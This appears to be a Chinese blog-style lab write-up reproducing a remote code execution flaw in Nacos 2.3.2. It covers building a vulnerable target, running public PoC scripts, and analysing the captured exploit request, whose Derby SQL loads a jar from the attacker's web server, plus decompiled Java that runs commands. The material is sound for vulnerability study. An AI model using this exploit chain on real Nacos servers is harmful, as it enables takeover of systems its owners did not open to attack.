产品概述
NACOS是一个开源的服务发现、配置管理和服务治理平,属于阿里巴巴的一款开源产品
2.3.2版本的nacos存在远程代码执行漏洞,攻击者可以在远程服务器上执行任意代码,进而让攻击者完全控制受影响的系统,导致严重的安全问题
环境搭建
我的环境是搭建在虚拟机Ubuntu上的,折腾搭建靶场也折腾了蛮久的,主要是编译太久了,大概有一个小时才编译好吧,这里我会详细记录每一步搭建过程,以帮助大家更好地搭建靶场
我的Ubuntu版本是22.0.4TLS版本,我觉得版本影响应该不是很大,首先要确保自己的虚拟机里有JDK环境,如果你是新搭建的虚拟机,我建议先要安装JDK,使用如下的命令安装JDK
sudo apt install openjdk-17
安装好JDK后我们去GitHub上拉取项目,项目地址如下
https://github.com/alibaba/nacos/releases/tag/2.3.2
我这里使用的是git clone,相关命令如下所示
git clone https://github.com/alibaba/nacos.git
cd nacos
git checkout tags/2.3.2 #将2.3.2版本的标签提取出来
git describe --tags #查看自己的版本是不是2.3.2
sudo apt install maven #安装maven
mvn -Prelease-nacos -Dmaven.test.skip=true clean install -U #构建项目,这一步时间比较长,耐心等待,我构建了快1个小时
cd distribution/target
unzip nacos-server-2.3.2.zip
cd nacos/bin
./startup.sh -m standalone #启动项目
出现上面的结果就代表成功,我们直接用浏览器访问我们虚拟机的8848端口(记得提前放行),比如我访问http://192.168.153.133:8848/nacos/
就可以打开我们想要的靶机,如下图所示
漏洞复现
我们先去github上把poc下载下来,但是现在好像被删了,还好我已经下载了
https://github.com/ayoundzw/nacos-poc
https://github.com/ikun123234/nacos-poc #上面那个访问不了就去这里下载
在实现漏洞复现之前,要先安装好requirements.txt中的东西,即安装好flask和requests,然后我们将config.py中的host改成自己本机局域网IP,端口设置为没被占用的端口,这里实际上是让我们启动一个web服务,然后让nacos去访问我的web服务的内容
运行命令python service.py
启动web服务,出现下面的情况就代表我们服务启动成功
然后我们再运行一下python exploit.py
,看看会有什么效果出现
我们可以发现会弹出计算器,因为我们输入的默认命令就是calc;
达到任意命令执行的目的,复现成功
漏洞分析
有点看不太懂这个漏洞,和内存🐎有点关系,这边直接嫖带头大哥的解释了
当我们运行我们的指令的时候,会发现我们会去请求service.py启动的web服务的./download模块
我们转到service.py,看到里面写了个payload
很显然,根本看不懂在写些什么,我们先看exploit.py干了什么,在exploit.py中加个代理,抓取的数据包如下
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: host
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 488
Content-Type: multipart/form-data; boundary=111111111111111111111111
--11111111111111111111111111111
Content-Disposition: form-data; name="file"; filename="file"
CALL sqlj.install_jar('http://192.168.197.56:8000/download', 'NACOS.aKjwPoiU', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.aKjwPoiU')
CREATE FUNCTION S_EXAMPLE_aKjwPoiU( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
--111111111111111111111111111111--
我们可以直接执行service的url地址,比如http://192.168.153.1:8000/download
直接保存为1.jar,反编译就可以看见里面的内容
我们可以直接执行,就可以弹计算器了
public class Example {
public static void main(String[] args) {
String ret = exec("ipconfig");
System.out.println(ret);
}
public static String exec(String cmd) {
StringBuffer bf = new StringBuffer();
try {
String charset = "utf-8";
String osName = System.getProperty("os.name");
if (osName != null && osName.startsWith("Windows")) {
charset = "gbk";
}
Process p = Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis, charset);
BufferedReader br = new BufferedReader(isr);
while (true) {
String line = br.readLine();
if (line == null) {
return bf.toString();
}
bf.append(line);
}
} catch (Exception e) {
StringWriter writer = new StringWriter();
PrintWriter printer = new PrintWriter(writer);
e.printStackTrace(printer);
try {
writer.close();
printer.close();
} catch (IOException e2) {
}
return "ERROR:" + writer.toString();
}
}
}
所以基本步骤是生成一个jar,然后转化为base64的bin。填入servic.py里面的payload就行,应该是利用nacos的sql注入漏洞就可以导致一系列的连锁反应,敬佩大佬!!!